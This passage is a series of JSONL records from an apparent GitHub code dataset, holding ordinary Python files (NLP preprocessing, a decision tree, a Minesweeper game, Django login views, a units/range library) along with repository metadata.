lowercase form\n\n :param html:\n :return: the list of tokens and part-of-speech tags generated\n \"\"\"\n stripped = remove_extra_spaces(html)\n\n # Creates a list for every variable using a loop\n sent_list, token_list, pos_list = ([] for _ in range(3))\n\n # For loop to tokenize the html into sentences\n for sentences in nltk.sent_tokenize(stripped):\n sent_list.append(sentences)\n\n # For loop to tokenize sentences into words\n words = [x.lower() for x in nltk.word_tokenize(sentences.replace(\"/\", \" \"))]\n for token in words:\n token_list.append(token)\n\n # Creates part of speech tags for every word\n pos_list.extend(nltk.pos_tag(words))\n\n return token_list, pos_list\n","repo_name":"MrManning/web-search-indexing","sub_path":"src/pre_processing.py","file_name":"pre_processing.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73412989800","text":"from decorator import decorator\nfrom datetime import datetime\n\n\n@decorator\ndef timed(func, *args, **kwargs):\n start = datetime.now()\n try:\n result = func(*args, **kwargs)\n return result\n finally:\n end = datetime.now()\n print(f\"{func.__name__} took {(end - start).total_seconds()}s\")\n","repo_name":"yamti1/project-euler","sub_path":"project_euler/com/timing.py","file_name":"timing.py","file_ext":"py","file_size_in_byte":320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29504835038","text":"import logging\nlogger = logging.getLogger(__name__)\nfrom requests import Session\nfrom urllib.parse import urlencode, urljoin\n# import requests\nimport time\n# from requests.packages.urllib3.exceptions import InsecureRequestWarning\n# requests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\nclass WebClient:\n \"\"\"\n Client is used to create to persistent web connection to the RightMove website. \n The associated methods carry out specific tasks required for obtaining certain elements\n of data.\n \"\"\"\n\n def __init__(self, rm_base_url, request_headers):\n # Rightmove base url\n self.rm_base_url = rm_base_url\n # Create the Requests Session.\n self.rightmove_session = Session()\n # Apply the custom headers.\n self.rightmove_session.headers = request_headers\n \n def get_page_for_url(self, url):\n \"\"\"\n Method will join the url passed in to the base_url value on the class, before\n retrieving the given web page and returning the result.\n \"\"\"\n count = 0\n result = None\n while count < 3:\n try:\n request = self.rightmove_session.get(self.rm_base_url + url, timeout=(3.5, 5))\n message = f\"Url = {request.url}, Status = {request.status_code}\"\n logger.info(message)\n except Exception as e:\n logger.exception(str(e))\n count += 1\n time.sleep(10)\n else:\n result = request\n break\n return result\n\n def create_url_for_parameters(self, parameters):\n path = f\"/property-for-sale/find.html\"\n query = \"?\" + urlencode(parameters)\n return urljoin(path, query)","repo_name":"mitchdawson/property-leads","sub_path":"client/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5559864505","text":"# -*- coding:utf-8 -*-\r\nimport sys\r\n\r\nfrom allz.defs import LOG_LEVEL, LOG_STDOUT_FORMAT, LOG_MODE_NORMAL\r\nfrom loguru import logger\r\nfrom allz.libs.file_type_tester import FileTypeTester\r\n\r\n\r\ndef get_logger(name: str, log_mode=LOG_MODE_NORMAL):\r\n logger.remove()\r\n\r\n mylogger = logger.bind(name=name)\r\n if log_mode != LOG_MODE_NORMAL:\r\n logger.disable(name)\r\n else:\r\n logger.add(sys.stdout, format=LOG_STDOUT_FORMAT, level=LOG_LEVEL, filter=lambda record: record[\"extra\"].get('name') == name)\r\n logger.enable(name)\r\n\r\n return mylogger\r\n\r\n\r\ndef on_success(src_path: str, des_path: str, log_mode=LOG_MODE_NORMAL) -> None:\r\n mylogger = get_logger(\"common\", log_mode)\r\n mylogger.info(f\"The compressed file {src_path} was successfully extracted to {des_path}\")\r\n\r\n\r\ndef on_failure(src_path: str, des_path: str, log_mode=LOG_MODE_NORMAL) -> None:\r\n mylogger = get_logger(\"common\", log_mode)\r\n mylogger.info(f\"The compressed file {src_path} failed to be extracted to {des_path}\")\r\n\r\n\r\ndef set_log_mode(class_name, log_mode=LOG_MODE_NORMAL):\r\n return get_logger(class_name, log_mode)\r\n\r\n\r\ndef get_split_volumn_suffix(src_path):\r\n fileTester = FileTypeTester()\r\n is_split, suffix_str = fileTester.is_split_volume_compressed_file(src_path)\r\n if is_split and suffix_str:\r\n prefix_path = src_path.replace(suffix_str, \"\")\r\n \r\n return True, prefix_path\r\n else:\r\n return False, \"\"\r\n","repo_name":"opendatalab/allz","sub_path":"allz/libs/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"20139694102","text":"import os\r\nimport shutil\r\nimport numpy as np\r\nimport audio\r\n# from concurrent.futures import ProcessPoolExecutor\r\n# from multiprocessing import cpu_count\r\nfrom functools import partial\r\nfrom nnmnkwii.datasets import vctk\r\n\r\n# import audio\r\nimport Audio\r\nimport hparams as hp\r\n\r\n\r\ndef save_mel_spec(wav_file, save_file):\r\n mel_spec = Audio.tools.get_mel(wav_file)\r\n save_file = os.path.join(\"dataset\", save_file)\r\n np.save(save_file, mel_spec)\r\n\r\n\r\ndef save_by_list(wav_list, save_list):\r\n for ind, wav_file in enumerate(wav_list):\r\n mel_spec = Audio.tools.get_mel(wav_file)\r\n save_file = os.path.join(\"dataset\", save_list[ind])\r\n np.save(save_file, mel_spec)\r\n\r\n\r\ndef preprocess():\r\n speakers = vctk.available_speakers\r\n wav_paths = vctk.WavFileDataSource(\r\n hp.origin_data, speakers=speakers).collect_files()\r\n\r\n if not os.path.exists(\"dataset\"):\r\n os.mkdir(\"dataset\")\r\n\r\n cnt_speaker = -1\r\n cnt_num = -1\r\n dict_speaker = list()\r\n num_dict = list()\r\n\r\n mel_spec_list = list()\r\n\r\n for wav_file in wav_paths:\r\n base_name = os.path.basename(wav_file)\r\n speaker_id = int(base_name[1:4])\r\n cnt_id = int(base_name[5:8])\r\n\r\n if speaker_id not in dict_speaker:\r\n dict_speaker.append(speaker_id)\r\n cnt_speaker = cnt_speaker + 1\r\n num_dict.clear()\r\n cnt_num = -1\r\n\r\n if cnt_id not in num_dict:\r\n num_dict.append(cnt_id)\r\n cnt_num = cnt_num + 1\r\n\r\n spec_name = str(cnt_speaker) + \"_\" + str(cnt_num) + \".npy\"\r\n mel_spec_list.append(spec_name)\r\n\r\n # executor = ProcessPoolExecutor(max_workers=cpu_count())\r\n # futures = list()\r\n\r\n wav_temp_list = list()\r\n save_temp_list = list()\r\n total_len = len(wav_paths)\r\n\r\n for ind, wav_file in enumerate(wav_paths):\r\n wav_temp_list.append(wav_file)\r\n save_temp_list.append(mel_spec_list[ind])\r\n\r\n if (((ind + 1) % 1000) == 0) or (ind == total_len - 1):\r\n save_by_list(wav_temp_list.copy(), save_temp_list.copy())\r\n # futures.append(executor.submit(\r\n # partial(save_by_list, wav_temp_list.copy(), save_temp_list.copy())))\r\n\r\n wav_temp_list.clear()\r\n save_temp_list.clear()\r\n print(\"Done\", ind+1)\r\n\r\n print(\"Done\")\r\n # [future.result() for future in futures]\r\n\r\n\r\nif __name__ == \"__main__\":\r\n # Test\r\n preprocess()\r\n\r\n for i in range(len(vctk.available_speakers)):\r\n if not os.path.exists(os.path.join(\"dataset\", str(i))):\r\n os.mkdir(os.path.join(\"dataset\", str(i)))\r\n\r\n for i in range(len(vctk.available_speakers)):\r\n file_name_list = os.listdir(\"dataset\")\r\n for file_name in file_name_list:\r\n if file_name[-3:] == \"npy\":\r\n if str(i) == file_name[0:len(str(i))] and file_name[len(str(i))] == \"_\":\r\n shutil.move(os.path.join(\"dataset\", file_name),\r\n os.path.join(\"dataset\", str(i)))\r\n","repo_name":"xcmyz/SpeakerVerification","sub_path":"preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":3035,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"18"} +{"seq_id":"73027200680","text":"from dataclasses import dataclass\n\n\n@dataclass\nclass ZohodeskAccount:\n\n id: str = None\n organization_id: str = None\n name: str = None\n description: str = None\n email: str = None\n website: str = None\n fax: str = None\n phone: str = None\n industry: str = None\n owner_id: str = None\n street: str = None\n city: str = None\n state: str = None\n country: str = None\n zip_code: str = None\n annual_revenue: str = None\n\n def get_as_data(self, include_none=True):\n\n data = {\n \"accountName\": self.name,\n \"description\": self.description,\n \"email\": self.email,\n \"website\": self.website,\n \"fax\": self.fax,\n \"phone\": self.phone,\n \"industry\": self.industry,\n \"ownerId\": self.owner_id,\n \"street\": self.street,\n \"city\": self.city,\n \"state\": self.state,\n \"country\": self.country,\n \"code\": self.zip_code,\n \"annualrevenue\": self.annual_revenue\n }\n\n if not include_none:\n data = { key : value for key, value in data.items() if value is not None }\n\n return data\n","repo_name":"dipendrabaidawa/unified_api","sub_path":"unified/modules/main/categories/customer_support/zoho_desk/entities/zohodesk_account.py","file_name":"zohodesk_account.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22263965577","text":"# -*- coding:utf-8 -*-\n# 2018-05-06\n#提取Decision部分 ,生成一颗完整的CART决策树\n\nimport math\nimport random\nimport numpy as np\nimport operator\nimport pickle\n\nfrom DecisionTree import getSubDataset,storeTree,gradTree\n\n'''\n输入:数据集\n功能:计算数据集的基尼值 \n输出:数据集的基尼值\n'''\ndef Gini(dataset):\n numSample = len(dataset)\n y = [example[-1] for example in dataset]#提取类别\n classCount ={}\n for class_i in y:\n if class_i not in classCount.keys():\n classCount[class_i]=0\n classCount[class_i] +=1\n counts = [count*count for _,count in classCount.items()]\n Gini = 1 - float(sum(counts)/(numSample*numSample))\n #print(Gini)\n return Gini\n\ndef getSubdataset_no(dataset,colindex,value):\n subDataset_no = [] # 用于存储子数据集\n for rowVector in dataset:\n if rowVector[colindex] != value:\n subVector = rowVector[:colindex]\n subVector.extend(rowVector[colindex + 1:])\n subDataset_no.append(subVector)\n return subDataset_no\n'''\n输入:数据集\n功能:选择最优的特征,以便得到最优的子数据集(可简单的理解为特征在决策树中的先后顺序)\n CART 选出最大信息增益的属性,即第几列 (使用基尼指数来选出最优属性) \n输出:最优特征在数据集中的列索引\n'''\ndef CART(dataset):\n numFeature = len(dataset[0]) - 1\n GiniD = 1.0\n Feature = -1\n BESTvalue = 0\n for i in range(numFeature):\n feat_i_values = [example[i] for example in dataset] # 提取每一列\n uniqueValues = set(feat_i_values)\n for value in uniqueValues:\n subDataset = getSubDataset(dataset, i, value)\n subDataset_no = getSubdataset_no(dataset,i,value)\n prob_i = len(subDataset) / float(len(dataset))\n prob_i_no = len(subDataset_no)/float(len(dataset))\n if len(subDataset_no)==0:\n Gini_i_value = prob_i * Gini(subDataset) +0.8\n else:\n Gini_i_value = prob_i * Gini(subDataset)+prob_i_no*Gini(subDataset_no)\n if Gini_i_value < GiniD:\n GiniD = Gini_i_value\n Feature = i\n BESTvalue = value\n return Feature,BESTvalue\n'''\n输入:数据集,特征标签\n功能:创建决策树(直观的理解就是利用上述函数创建一个树形结构)\n输出:决策树(用嵌套的字典表示)\n'''\ndef creatTree_CART(dataset,labels):\n featurelabels =labels\n classlist = [example[-1] for example in dataset]\n #判断传入的dataset是否只有一个类别\n if classlist.count(classlist[0])==len(classlist):\n return classlist[0]\n #判断是否遍历所有的特征\n if len(dataset[0])==1:\n return mostClass_node(classlist)\n bestFeature,BESTvalue = CART(dataset) #采用CART基尼指数\n bestFeatlabel = featurelabels[bestFeature]\n #搭建树结构\n myTree = {bestFeatlabel:{}}\n featurelabels.pop(bestFeature)#删去这个���优属性\n uniqueBestFeatValues = [BESTvalue,False] #最优属性的取值个数\n subDataset = getSubDataset(dataset,bestFeature,BESTvalue)\n if len(subDataset)!=0:\n sublabels = labels[:]\n myTree[bestFeatlabel][BESTvalue] = creatTree_CART(subDataset,sublabels)\n else:\n myTree[bestFeatlabel][BESTvalue] = 'NULL'\n subDataset_no = getSubdataset_no(dataset, bestFeature, BESTvalue)\n if len(subDataset_no)!=0:\n sublabels = labels[:]\n myTree[bestFeatlabel][False] = creatTree_CART(subDataset_no, sublabels)\n else:\n myTree[bestFeatlabel][False] = 'NULL'\n return myTree\n\ndef pruning(myTree):\n pass\n\nif __name__ == '__main__':\n x = [[0,0,0,0,0,0,1],\n [1,0,1,0,0,0,1],\n [1,0,0,0,0,0,1],\n [0,0,1,0,0,0,1],\n [2,0,0,0,0,0,1],\n [0,1,0,0,1,1,1],\n [1,0,0,1,1,1,1],\n [1,1,0,0,1,0,1],\n [1,1,1,1,1,0,0],\n [0,2,2,0,2,1,0],\n [2,2,2,2,2,0,0],\n [2,0,0,2,2,1,0],\n [0,1,0,1,0,1,0],\n [2,1,1,1,0,0,0],\n [1,1,0,0,1,1,0],\n [2,0,0,2,2,0,0],\n [0,0,1,1,1,0,0]]\n featurelabels = ['色泽','根蒂','敲声','纹理','脐部','触感']\n labels = ['色泽','根蒂','敲声','纹理','脐部','触感']#python 函数是引用传递,前面函数会删去labels\n trainTree = creatTree_CART(x,featurelabels)\n print(trainTree)\n","repo_name":"BARKTEGH/ML_algorithm","sub_path":"DecisionTree/DT_CART.py","file_name":"DT_CART.py","file_ext":"py","file_size_in_byte":4387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"43827600165","text":"import os\r\nimport paddle\r\nimport numpy as np\r\nfrom paddle.nn import Layer\r\nfrom paddlehub.module.module import moduleinfo\r\nfrom CPM_LM.GPT2 import GPT2Model, GPT2Tokenizer\r\n\r\n@moduleinfo(\r\n name=\"CPM_LM\", # 模型名称\r\n type=\"NLP/NLG\", # 模型类型\r\n author=\"jm12138\", # 作者名称\r\n author_email=\"jm12138@qq.com\", # 作者邮箱\r\n summary=\"CPM_LM\", # 模型介绍\r\n version=\"1.0.0\" # 版本号\r\n)\r\nclass CPM_LM(Layer):\r\n def __init__(self, max_len=512):\r\n super(CPM_LM, self).__init__()\r\n # 初始化模型\r\n self.model = GPT2Model(\r\n vocab_size=30000,\r\n layer_size=32,\r\n block_size=1024,\r\n embedding_dropout=0.0,\r\n embedding_size=2560,\r\n num_attention_heads=32,\r\n attention_dropout=0.0,\r\n residual_dropout=0.0)\r\n\r\n # 读取CPM-LM模型参数(FP16)\r\n state_dict = paddle.load(os.path.join(self.directory, 'CPM-LM.pdparams'))\r\n\r\n # FP16 -> FP32\r\n for param in state_dict:\r\n state_dict[param] = state_dict[param].astype('float32')\r\n\r\n # 加载CPM-LM模型参数\r\n self.model.set_dict(state_dict)\r\n\r\n # 将模型设置为评估状态\r\n self.model.eval()\r\n\r\n # 加载编码器\r\n self.tokenizer = GPT2Tokenizer(\r\n vocab_file=os.path.join(self.directory, 'GPT2/bpe/vocab.json'),\r\n model_file=os.path.join(self.directory, 'GPT2/bpe/chinese_vocab.model'),\r\n max_len=max_len)\r\n\r\n # 初始化编码器\r\n _ = self.tokenizer.encode('_')\r\n\r\n # 基础预测函数\r\n def predict(self, text, max_len=32, end_word=None):\r\n # 终止标志\r\n if end_word is not None:\r\n end_id = self.tokenizer.encode(end_word)\r\n length = len(end_id)\r\n else:\r\n end_id = self.tokenizer.eod_id\r\n\r\n # 初始预测\r\n ids = self.tokenizer.encode(text)\r\n input_id = paddle.to_tensor(np.array(ids).reshape(1, -1).astype('int64'))\r\n output, cached_kvs = self.model(input_id, use_cache=True)\r\n nid = int(np.argmax(output[0, -1].numpy()))\r\n out = [nid]\r\n\r\n # 使用缓存进行继续预测\r\n for i in range(max_len-1):\r\n input_id = paddle.to_tensor(np.array([nid]).reshape(1, -1).astype('int64'))\r\n output, cached_kvs = self.model(input_id, cached_kvs, use_cache=True)\r\n nid = int(np.argmax(output[0, -1].numpy()))\r\n\r\n # 根据终止标志停止预测\r\n if (end_word is not None) and (out[-length+1:]+[nid]==end_id):\r\n break\r\n elif (end_word is None) and (nid==end_id):\r\n break\r\n \r\n out.append(nid)\r\n \r\n return self.tokenizer.decode(out)","repo_name":"andy521/PaddleHub","sub_path":"modules/text/text_generation/CPM_LM/module.py","file_name":"module.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"6719173902","text":"selected_lab = [\n 'creatinine',\n 'BUN',\n 'potassium',\n 'sodium',\n 'calcium',\n 'phosphate',\n 'chloride',\n 'Hgb',\n 'Hct',\n 'WBC x 1000',\n 'ESR',\n 'CRP',\n 'total protein',\n 'albumin',\n 'alkaline phos.',\n 'ALT (SGPT)',\n 'AST (SGOT)',\n 'total bilirubin',\n 'direct bilirubin',\n 'bedside glucose',\n 'glucose',\n 'anion gap',\n 'Vancomycin - trough',\n 'Vancomycin - random',\n 'Total CO2',\n 'paO2',\n]\n\n","repo_name":"martj001/aki","sub_path":"lib/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23259273739","text":"import requests\n\nfrom hanpun.common.memorycache import MWT\n\n\nclass YahooApi:\n @classmethod\n @MWT(timeout=3600)\n def usd_krw_exchange_rate(cls):\n url = \"https://query.yahooapis.com/v1/public/yql?q=select%20*%20from%20yahoo.finance.xchange%20where%20pair%20in%20(%22USDKRW%22)&format=json&env=store://datatables.org/alltableswithkeys&callback=\"\n r = requests.get(url)\n try:\n res_json = r.json()\n return float(res_json['query']['results']['rate']['Rate'])\n except Exception as e:\n print(f'usd_krw_exchange_rate res_json {res_json}')\n # raise e\n return 1127\n","repo_name":"baleen37/hanpun","sub_path":"hanpun/api/yahoo.py","file_name":"yahoo.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"38400554754","text":"import numpy as np\r\nimport tkinter as tk\r\n\r\n# Constants\r\nEMPTY = 0\r\nMINE = 1\r\nUNKNOWN = -1\r\n\r\n# Create the main window\r\nwindow = tk.Tk()\r\nwindow.title(\"Minesweeper\")\r\n\r\n# Grid number (grd x grd)\r\ngrd = 9\r\n# Generate random mines\r\nmines_count = 12 # Number of mines (in 9x9 games, can place mines with 10 - 12 mines)\r\nmines_indices = np.random.choice((grd*grd), mines_count, replace=False)\r\n\r\n# Create the grid\r\ngrid = np.zeros((grd, grd), dtype=int)\r\ngrid.flat[mines_indices] = MINE\r\n\r\nplayer_grid = np.full((grd, grd), UNKNOWN)\r\n\r\n# Count the number of bombs surrounding the selected cell\r\ndef count(row, col):\r\n offsets = ((-1, -1), (-1, 0), (-1, 1), (0, 1), (1, 1), (1, 0), (1, -1), (0, -1))\r\n count = 0\r\n for offset in offsets:\r\n offset_row = row + offset[0]\r\n offset_col = col + offset[1]\r\n\r\n # Check for boundaries\r\n if 0 <= offset_row <= grd-1 and 0 <= offset_col <= grd-1:\r\n if grid[offset_row][offset_col] == MINE:\r\n count += 1\r\n return count\r\n\r\n# Create game over message label\r\nlabel_gameover = None\r\n\r\n# Create win message label\r\nlabel_win = None\r\n\r\n# Create retry button\r\nretry_button = None\r\n\r\n# Selecting the cell\r\ndef click(row, col):\r\n # Check if it is a bomb\r\n if grid[row][col] == MINE:\r\n labels[row][col][\"text\"] = \"X\" # Display the clicked mine\r\n global label_gameover\r\n label_gameover = tk.Label(window, text=\"LOL!, Better Luck Next Time :D\")\r\n label_gameover.grid(row=grd+1, columnspan=grd)\r\n global retry_button\r\n retry_button = tk.Button(window, text=\"Retry\", command=reset_game)\r\n retry_button.grid(row=grd+2, columnspan=grd)\r\n disable_grid() # Disable the grid after game over\r\n elif player_grid[row][col] == UNKNOWN:\r\n reveal_neighbors(row, col)\r\n check_win()\r\n\r\n# Function to disable the grid\r\ndef disable_grid():\r\n for row in range(grd):\r\n for col in range(grd):\r\n labels[row][col][\"state\"] = tk.DISABLED\r\n\r\n# Reveal the cell and its neighbors recursively if empty\r\ndef reveal_neighbors(row, col):\r\n offsets = ((-1, -1), (-1, 0), (-1, 1), (0, 1), (1, 1), (1, 0), (1, -1), (0, -1))\r\n player_grid[row][col] = count(row, col)\r\n labels[row][col][\"text\"] = str(player_grid[row][col])\r\n if player_grid[row][col] == EMPTY:\r\n for offset in offsets:\r\n new_row = row + offset[0]\r\n new_col = col + offset[1]\r\n if 0 <= new_row <= grd-1 and 0 <= new_col <= grd-1:\r\n if player_grid[new_row][new_col] == UNKNOWN:\r\n reveal_neighbors(new_row, new_col)\r\n\r\n# Create labels for the grid cells\r\nlabels = []\r\nfor row in range(grd):\r\n row_labels = []\r\n for col in range(grd):\r\n label = tk.Label(window, text=\"\", width=2, height=1, relief=\"raised\")\r\n label.grid(row=row, column=col, padx=1, pady=1)\r\n row_labels.append(label)\r\n labels.append(row_labels)\r\n\r\n# Update the labels with initial values\r\nfor row in range(grd):\r\n for col in range(grd):\r\n if player_grid[row][col] != UNKNOWN:\r\n labels[row][col][\"text\"] = str(player_grid[row][col])\r\n\r\n# Click handler function\r\ndef on_click(row, col):\r\n if not game_over:\r\n click(row, col)\r\n\r\n# Check if the player has won\r\ndef check_win():\r\n global game_over\r\n for row in range(grd):\r\n for col in range(grd):\r\n if player_grid[row][col] == UNKNOWN and grid[row][col] != MINE:\r\n return\r\n game_over = True\r\n global label_win\r\n label_win = tk.Label(window, text=\"Congratulations! You won XD!\")\r\n label_win.grid(row=grd+1, columnspan=grd)\r\n global retry_button\r\n retry_button.grid(row=grd+2, columnspan=grd)\r\n\r\n# Function to reset the game\r\ndef reset_game():\r\n global grid, player_grid, game_over, mines_indices, label_gameover, label_win, retry_button\r\n np.random.seed() # Reset the random seed\r\n mines_indices = np.random.choice((grd*grd), mines_count, replace=False) # Regenerate random mine indices\r\n grid = np.zeros((grd, grd), dtype=int)\r\n grid.flat[mines_indices] = MINE\r\n player_grid = np.full((grd, grd), UNKNOWN)\r\n game_over = False\r\n for row in range(grd):\r\n for col in range(grd):\r\n labels[row][col][\"text\"] = \"\"\r\n labels[row][col][\"state\"] = tk.NORMAL\r\n if label_gameover is not None:\r\n label_gameover.grid_remove()\r\n label_gameover = None\r\n if label_win is not None:\r\n label_win.grid_remove()\r\n label_win = None\r\n if retry_button is not None:\r\n retry_button.grid_remove()\r\n retry_button = None\r\n\r\n# Add game over flag\r\ngame_over = False\r\n\r\n# Bind click event to the labels\r\nfor row in range(grd):\r\n for col in range(grd):\r\n labels[row][col].bind(\"\", lambda event, row=row, col=col: on_click(row, col))\r\n\r\n# Create retry button\r\nretry_button = tk.Button(window, text=\"Retry\", command=reset_game)\r\n\r\n# Run the main loop\r\nwindow.mainloop()\r\n","repo_name":"Danar1111/Quiz2DAA","sub_path":"MinesweeperFinal.py","file_name":"MinesweeperFinal.py","file_ext":"py","file_size_in_byte":4995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"4460741269","text":"import json\nfrom json import JSONDecodeError\n\nimport requests\nfrom rest_framework import viewsets, status, mixins\nfrom rest_framework.decorators import action, api_view\nfrom rest_framework.response import Response\nfrom rest_framework.viewsets import GenericViewSet\n\nfrom accounts.jwt import generate_access_token\nfrom accounts.models import User\nfrom accounts.serializers import UserSerializer, UserSignupSerializer, UserLoginSerializer\n\n\n@api_view([\"GET\"])\ndef ping(request):\n res = {\n \"server\": \"on\"\n }\n return Response(res, status=status.HTTP_200_OK)\n\nclass UserViewSet(mixins.RetrieveModelMixin,\n mixins.UpdateModelMixin,\n mixins.DestroyModelMixin,\n mixins.ListModelMixin,GenericViewSet):\n queryset = User.objects.all()\n\n def get_serializer_class(self):\n if self.action == 'login':\n return UserLoginSerializer\n elif self.action == 'signup':\n return UserSignupSerializer\n else:\n return UserSerializer\n\n\n @action(methods=['get'], detail=False)\n def check_nickname(self, request):\n nickname = request.query_params.get('nickname')\n try:\n _nickname = User.objects.get(nickname=nickname)\n return Response(status=status.HTTP_409_CONFLICT)\n except:\n return Response(status=status.HTTP_200_OK)\n\n @action(methods=['post'], detail=False)\n def kakao(self, request):\n data = {}\n accessToken = json.loads(request.body)\n access_token = accessToken['access_token']\n user_req = requests.get(f\"https://kapi.kakao.com/v2/user/me\",\n headers={\"Authorization\": f\"Bearer {access_token}\"})\n user_json = user_req.json()\n social_id = user_json.get('id')\n error = user_json.get(\"error\")\n if error is not None:\n raise JSONDecodeError(error)\n try:\n user = User.objects.get(social_id=social_id)\n if user is None:\n raise Exception\n access_token = generate_access_token(user.social_id)\n data['access_token'] = access_token\n data['id'] = user.id\n data['nickname'] = user.nickname\n return Response(data, status=status.HTTP_200_OK)\n\n except:\n user = User.objects.create(social_id=social_id, social_type='google')\n data['access_token'] = generate_access_token(user.social_id)\n data['id'] = user.id\n data['nickname'] = user.nickname\n return Response(data, status=status.HTTP_201_CREATED)\n\n @action(methods=['post'], detail=False)\n def google(self, request):\n data = {}\n accessToken = json.loads(request.body)\n access_token = accessToken['access_token']\n user_req = requests.get(f\"https://www.googleapis.com/oauth2/v1/tokeninfo?access_token={access_token}\")\n user_json = user_req.json()\n social_id = user_json.get('user_id')\n error = user_json.get(\"error\")\n if error is not None:\n raise JSONDecodeError(error)\n try:\n user = User.objects.get(social_id=social_id)\n if user is None:\n raise Exception\n access_token = generate_access_token(user.social_id)\n data['access_token'] = access_token\n data['id'] = user.id\n data['nickname'] = user.nickname\n return Response(data, status=status.HTTP_200_OK)\n\n except:\n user = User.objects.create(social_id=social_id, social_type='google')\n data['access_token'] = generate_access_token(user.social_id)\n data['id'] = user.id\n data['nickname'] = user.nickname\n return Response(data, status=status.HTTP_201_CREATED)","repo_name":"prography-7th-django-study/hj_django_study","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5352863722","text":"#!/usr/bin/env python3\n\"\"\"\n Library functions for performance requirements and normalization of metrics\n\"\"\"\nimport copy\nimport dataclasses\nimport os\nimport re\nfrom typing import List, Tuple\n\nimport yaml\n\nfrom cijoe.core.errors import InvalidRangeError, UnknownUnitError\n\nUNITS = {\n # general\n \"\": 1, # no unit\n \"B\": 1, # bytes\n \"k\": 1000, # kilo\n \"M\": 1000**2, # mega\n \"G\": 1000**3, # giga\n # kibi\n \"KiB\": 1024**1, # kibibytes\n \"MiB\": 1024**2, # mibibytes\n \"GiB\": 1024**3, # gibibytes\n \"TiB\": 1024**4, # tibibytes\n # kilo\n \"kB\": 1000**1, # kilobytes\n \"MB\": 1000**2, # megabytes\n \"GB\": 1000**3, # gigabytes\n \"TB\": 1000**4, # gigabytes\n # time\n \"nsec\": 1 / 1000**3, # nanoseconds\n \"usec\": 1 / 1000**2, # microseconds\n \"msec\": 1 / 1000**1, # milliseconds\n \"sec\": 1, # seconds\n \"min\": 60, # minutes\n}\n\n\nclass Range:\n \"\"\"\n Range implements parsing and validation of mathematical range notation,\n e.g. `[-5;100[` which translates to \"must be >= -5 and < 100\".\n \"\"\"\n\n # pylint: disable=no-self-use\n # pylint: disable=too-few-public-methods\n\n _rng_re = re.compile(\n r\"^(?P\\[|\\])\\s*(?P-inf|-?\\d+(\\.\\d*)?)\\s*;\" # [1.0;\n r\"\\s*(?Pinf|-?\\d+(\\.\\d*)?)\\s*(?P\\[|\\])\" # 1.0]\n rf\"\\s*(?P({'|'.join(UNITS)}))$\" # ms\n )\n\n def __init__(self, rng: str):\n match = self._rng_re.match(rng)\n if not match:\n raise InvalidRangeError(f'invalid syntax or unit for \"{rng}\"')\n\n rng_start = float(match[\"rstart\"])\n rng_end = float(match[\"rend\"])\n if rng_start > rng_end:\n raise InvalidRangeError(\n \"expected lower bound <= upper bound, \" f\"{rng_start} <= {rng_end}\"\n )\n\n # NOTE: _rng_re enforces that match[\"unit\"] exists in UNITS.\n unit_val = UNITS[match[\"unit\"]]\n\n self._rng_start = rng_start\n self._rng_end = rng_end\n self._elower = match[\"elower\"]\n self._eupper = match[\"eupper\"]\n self._unit = match[\"unit\"]\n\n self._check_lower = self._make_check_lower(\n match[\"elower\"], rng_start * unit_val\n )\n self._check_upper = self._make_check_upper(match[\"eupper\"], rng_end * unit_val)\n\n def contains(self, val: float) -> bool:\n \"\"\"Check whether n is contained in range.\n\n val must be given in the base unit of the measurement, e.g. seconds for\n time and bytes for storage.\n \"\"\"\n return self._check_lower(val) and self._check_upper(val)\n\n def _make_check_lower(self, edge_lower: str, rng_start: float):\n if edge_lower == \"[\":\n return lambda n: n >= rng_start\n if edge_lower == \"]\":\n return lambda n: n > rng_start\n raise InvalidRangeError(\"invalid input _make_check_lower\")\n\n def _make_check_upper(self, edge_upper: str, rng_end: float):\n if edge_upper == \"[\":\n return lambda n: n < rng_end\n if edge_upper == \"]\":\n return lambda n: n <= rng_end\n raise InvalidRangeError(\"invalid input _make_check_upper\")\n\n def format_val(self, val: float) -> str:\n \"\"\"Formats and returns val using the unit of the range.\n\n Example:\n range: \"[250; 750]usec\"\n val: 0.0005\n output: \"500 usec\"\n \"\"\"\n\n val_conv = val / UNITS[self._unit]\n return f\"{val_conv:.3f} {self._unit}\"\n\n def __str__(self):\n return (\n f\"{self._elower}{self._rng_start};\"\n f\"{self._rng_end}{self._eupper} {self._unit}\"\n )\n\n\ndef to_base_unit(val: float, unit: str = \"\") -> float:\n \"\"\"Converts val in the given unit to its base unit.\n Example:\n val: 100, unit: 'KiB'\n output: 102400 (bytes)\n\n val: 500, unit: 'msec'\n output: 0.5 (seconds)\n \"\"\"\n unit_scalar = UNITS.get(unit, None)\n if not unit_scalar:\n raise UnknownUnitError(f\"Unit '{unit}' is not supported\")\n\n return val * 